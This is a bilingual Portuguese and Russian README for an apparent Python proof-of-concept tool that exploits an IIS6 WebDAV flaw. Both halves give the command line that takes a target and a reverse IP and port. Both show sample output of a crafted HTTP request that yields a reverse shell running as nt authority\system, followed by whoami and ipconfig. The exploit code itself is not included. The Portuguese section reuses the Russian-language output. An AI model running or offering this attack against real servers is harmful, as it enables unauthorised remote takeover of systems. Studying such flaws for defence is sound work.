PT

GenWebDavIISExploit é uma ferramenta PoC que demonstra um exploit para uma vulnerabilidade conhecida no componente WebDAV do IIS6. Esta ferramenta foi projetada para fins educacionais e de pesquisa, a fim de mostrar como a vulnerabilidade pode ser explorada para executar código arbitrário em um servidor remoto.

Aviso Legal

Este projeto é destinado apenas para fins educacionais. Use esta ferramenta de forma responsável e somente em sistemas que você possui ou tem permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal.

Características

• Execução remota de código em servidores IIS6 WebDAV vulneráveis.
• Geração dinâmica de payload com IP e porta reversos especificados pelo usuário.
• Interface de linha de comando fácil de usar para exploração rápida.

Pré-requisitos

• Python 3.x: Certifique-se de que o Python 3 está instalado no seu sistema.
• Acesso à Rede: Capacidade de se conectar ao IP e porta da máquina alvo.

Uso

Argumentos da Linha de Comando

• IP Alvo: O endereço IP do servidor IIS6 WebDAV alvo.
• Porta Alvo: O número da porta na qual o serviço WebDAV está rodando (geralmente 80).
• IP Reverso: Seu endereço IP para o qual o shell reverso deve se conectar.
• Porta Reversa: O número da porta no seu sistema para receber o shell reverso.

Exemplo

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Exemplo de Uso

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Exemplo de Saída

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1
    

Notas

• Certifique-se de ter um listener rodando na porta reversa especificada para capturar o shell reverso recebido.
• Use esta ferramenta apenas em sistemas autorizados para testar vulnerabilidades.

RU

GenWebDavIISExploit - это PoC-инструмент, демонстрирующий эксплуатацию известной уязвимости в компоненте WebDAV на IIS6. Этот инструмент создан в образовательных и исследовательских целях, чтобы показать, как уязвимость может быть использована для выполнения произвольного кода на удаленном сервере.

Отказ от ответственности

Этот проект предназначен только для образовательных целей. Используйте этот инструмент ответственно и только на системах, которые вы владеете или имеете явное разрешение для тестирования. Несанкционированный доступ к компьютерным системам является незаконным.

Особенности

• Выполнение удаленного кода на уязвимых серверах IIS6 WebDAV.
• Генерация динамического полезного кода с указанием IP и порта для обратного соединения.
• Простой интерфейс командной строки для быстрого использования.

Требования

• Python 3.x: Убедитесь, что у вас установлен Python 3.
• Доступ к сети: Возможность подключаться к IP-адресу и порту целевой машины.

Использование

Аргументы командной строки

• Target IP: IP-адрес целевого сервера IIS6 WebDAV.
• Target Port: Номер порта, на котором работает служба WebDAV (обычно 80).
• Reverse IP: Ваш IP-адрес, на который должно быть установлено обратное соединение.
• Reverse Port: Номер порта на вашей системе для получения обратного соединения.

Пример

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Пример использования

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Пример вывода

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1
    

Заметки

• Убедитесь, что у вас запущен прослушиватель на указанном обратном порту для перехвата входящего обратного соединения.
• Используйте этот инструмент только на авторизованных системах для проверки на наличие уязвимостей.